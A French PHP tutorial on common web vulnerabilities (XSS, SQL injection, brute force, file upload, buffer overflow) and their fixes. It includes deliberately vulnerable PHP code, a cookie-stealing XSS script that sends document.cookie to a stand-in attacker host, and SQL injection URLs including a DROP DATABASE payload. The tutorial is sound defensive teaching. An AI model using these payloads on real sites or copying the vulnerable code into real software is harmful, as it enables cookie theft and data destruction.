PHP - Les failles et attaques courantes - Comment se protéger ?

5 mai 2020 - : PHP Tutoriel - : 0 commentaire - Tutoriel Base de données PHP

Dernière modification le 8 mai 2020

Un site web étant, par définition, accessible au grand public, il peut être la cible d'attaques diverses.

On partira d'un postulat :

L'utilisateur malveillant essaiera de trouver les failles de sécurité dans votre site par tous les moyens.

Ce postulat étant acquis, nous allons passer en revue les failles et attaques les plus courantes, la liste ne sera pas exhaustive, et la façon de s'en protéger le plus efficacement possible.

Il est crucial de se protéger contre toutes les vulnérabilités connues pour ne pas se faire surprendre.

Les failles XSS

La faille

La faille XSS, de son nom complet Cross-Site Scripting, est une faille qui permet d'injecter du code HTML et/ou Javascript dans des variables ou bases de données mal protégées.

Que le XSS soit permanent (stocké en base de données) ou non, son fonctionnement sera le même.

Il consiste à injecter du code dans une variable ou base de données afin de faire en sorte que le site se connecte à un site distant (Cross-site) contenant un code malveillant.

Le site distant pourra donc, par exemple, accéder aux cookies stockés sur le site d'origine, la requête provenant de ce site.

Un exemple sera plus parlant qu'un long discours.

Imaginons un pirate qui identifie qu'un site inscrit des informations personnelles dans un cookie comme ceci

setcookie("nom_du_cookie", "données personnelles stockées", time()+3600);

Le pirate recherchera donc un formulaire vulnérable sur le site.

Si le formulaire est trouvé, il pourraît par exemple ressembler à ceci (formulaire simplifié)

<?php
// Le site stocke le cookie
setcookie("information", "donnees perso", time()+3600);

// On traite le formulaire de façon non sécurisée
if(isset($_GET['prenom']) && !empty($_GET['prenom'])){
    // On ne protège pas l'accès aux données
    $prenom = $_GET['prenom'];
}
?>

<form method="get">
    <input type="text" name="prenom">
    <button>Valider</button>
</form>

<?php
    // On affiche la saisie du formulaire
    if(isset($prenom)){
        echo $prenom;
    }

Le pirate pourra donc insérer le code ci-dessous dans le formulaire et récupérer le contenu du cookie depuis son site distant.

<script>window.location='http://serveurpirate.test/vol_cookie.php?cookie='+document.cookie;</script>

La protection

Pour se protéger contre les failles XSS, nous avons deux solutions principales, selon le contexte :

  • Supprimer tout contenu HTML de la saisie dans le formulaire
  • Neutraliser les caractères formant les balises HTML

Supprimer le contenu HTML

Si on souhaite supprimer tout le contenu HTML de ce qui est récupéré lors de la saisie, nous pourrons utiliser l'instruction "strip_tags" dont le rôle est de supprimer les balises HTML en autorisant éventuellement certaines d'entre-elles.

Le traitement de notre formulaire deviendra donc

// On traite le formulaire de façon sécurisée
if(isset($_GET['prenom']) && !empty($_GET['prenom'])){
    // On ne protège pas l'accès aux données
    $prenom = strip_tags($_GET['prenom']);
}

La variable "prenom" contiendra toute la saisie de l'utilisateur sans les balises "script".

Neutraliser les caractères

Si on souhaite neutraliser les caractères formant les balises HTML de ce qui est récupéré lors de la saisie, nous pourrons utiliser l'instruction "htmlspecialchars" dont le rôle est de neutraliser certains caractères (&, ", <...) en les remplaçant par leurs codes (&amp;...) ou "htmlentities" dont le rôle est de modifier toutes les balises HTML.

Le traitement de notre formulaire deviendra donc

// On traite le formulaire de façon sécurisée
if(isset($_GET['prenom']) && !empty($_GET['prenom'])){
    // On ne protège pas l'accès aux données
    $prenom = htmlspecialchars($_GET['prenom']);
}

La variable "prenom" contiendra toute la saisie de l'utilisateur y compris les balises "script" qui sont "neutralisées".

Les injections SQL

Une autre faille courante dans les sites web est relative à la protection de la base de données et permettrait à une personne mal intentionnée d'injecter des données ou même d'en supprimer.

Les conséquences pourraient être très graves si, par exemple, le pirate arrive à supprimer la totalité de la base de données.

La vulnérabilité

Après avoir analysé les pages, on identifie, par exemple, une page affichant une liste d'informations en passant par une méthode GET, elle pourra être exploitée de la façon suivante.

Si la page est comme celle-ci

<?php

try{
    $db = new PDO('mysql:host=localhost;dbname=demo_injection', 'root','');
    $db->exec('SET NAMES "UTF8"');
}catch(PDOException $e){
    echo $e->getMessage();
}

if(!empty($_GET)){
    // Il faudra bien sûr ajouter la protection contre les failles XSS
    $id = $_GET['id'];

    $sql = "SELECT * FROM `users` WHERE `id` = $id;";

    $query = $db->query($sql);

    $users = $query->fetchAll(PDO::FETCH_ASSOC);
}


foreach($users as $user){
    echo '<p>'. $user['email'].'</p>';
}

Un utilisateur malveillant pourrait, par exemple, entrer l'information suivante dans l'adresse

http://clientvulnerable.test/simul_injection.php?id=1 or 1=1

Cette adresse contient une condition toujours vraie "1=1" qui affichera toutes les informations.

Plus grave, on pourrait injecter ce code

http://clientvulnerable.test/simul_injection.php?id=1; DROP DATABASE bonjour

L'ouverture de cette url provoquera la suppression d'une base de données entière

La protection

Pour protéger notre page, nous la modifierons comme ceci

if(!empty($_GET)){
    // Il faudra bien sûr ajouter la protection contre les failles XSS
    $id = $_GET['id'];

    // On ne vérifie pas les champs dans ce tutoriel, il va de soi qu'il faudra ajouter des vérifications
    $sql = "SELECT * FROM `users` WHERE `id` = :id;";

    $query = $db->prepare($sql);

    // On injecte les valeurs
    $query->bindValue(':id', $id, PDO::PARAM_INT);

    $query->execute();

    $users = $query->fetchAll(PDO::FETCH_ASSOC);
}

Avec cette modification, le code SQL injecté ne sera pas exécuté, il sera simplement ignoré, notre "id" devant être un entier.

Il conviendra de vérifier et injecter les valeurs de chacun des champs de l'URL.

A noter, lors de l'utilisation de la méthode POST, le risque sera le même.

La force brute

L'attaque par force brute permet à un pirate de tester des identifiants et mots de passe de façon très rapide au moyen d'un script qui envoie des milliers de tentatives sur un formulaire kusqu'à arriver à ses fins.

Pour ralentir cette attaque, il est possible de mettre une ligne de code très simple

sleep(1);

Cette ligne ralentit les tentatives en ajoutant un délai d'une seconde au traitement du formulaire, délai imperceptible pour un utilisateur.

La seconde méthode permet de définir un nombre maximal de tentatives dans un délai donné en stockant un timestamp dans la base de données.

L'Upload

Lors de l'upload de fichiers, il serait aisé pour un pirate de faire passer un fichier PHP pour une image en le renommant par exemple "scriptpirate.php.jpg".

De nombreux sites se feraient piéger par ce type de fichier.

Pour s'en protéger :

  • Vérifier le type mime du fichier
  • Toujours renommer le fichier en utilisant, par exemple, un timestamp
  • Ne pas faire confiance à l'extension du fichier
  • Utiliser un dossier d'upload qui n'est pas à la racine du site et dont vous maîtrisez les permissions

Le Buffer Overflow

Le Buffer Overflow est une technique assez complexe qui consiste à utiliser des limitations du langage C qui sert à développer PHP pour provoquer des dépassements de mémoire et permettre l'exécution de code malveillant.

Les variables PHP n'ont pas de limite de taille, à la différence des variables en langage C. C'est cette différence qui pose problème.

Dans tous les cas, pour vous protéger, vérifiez la longueur des chaines de caractères avec strlen(), supprimez les caractères spéciaux s'ils ne sont pas nécessaires, ne faîtes jamais une confiance aveugle dans le contenu envoyé depuis un formulaire.

Obtenir de l'aide

Pour obtenir de l'aide, vous pouvez accéder au serveur Discord pour une entraide par chat

Partager

Partager sur Facebook Partager sur Twitter Partager sur LinkedIn

Commentaires

Pas encore de commentaire

Obtenir de l'aide

Il n'est plus possible d'ajouter de commentaires.

Pour obtenir de l'aide, vous pouvez accéder au serveur Discord pour une entraide par chat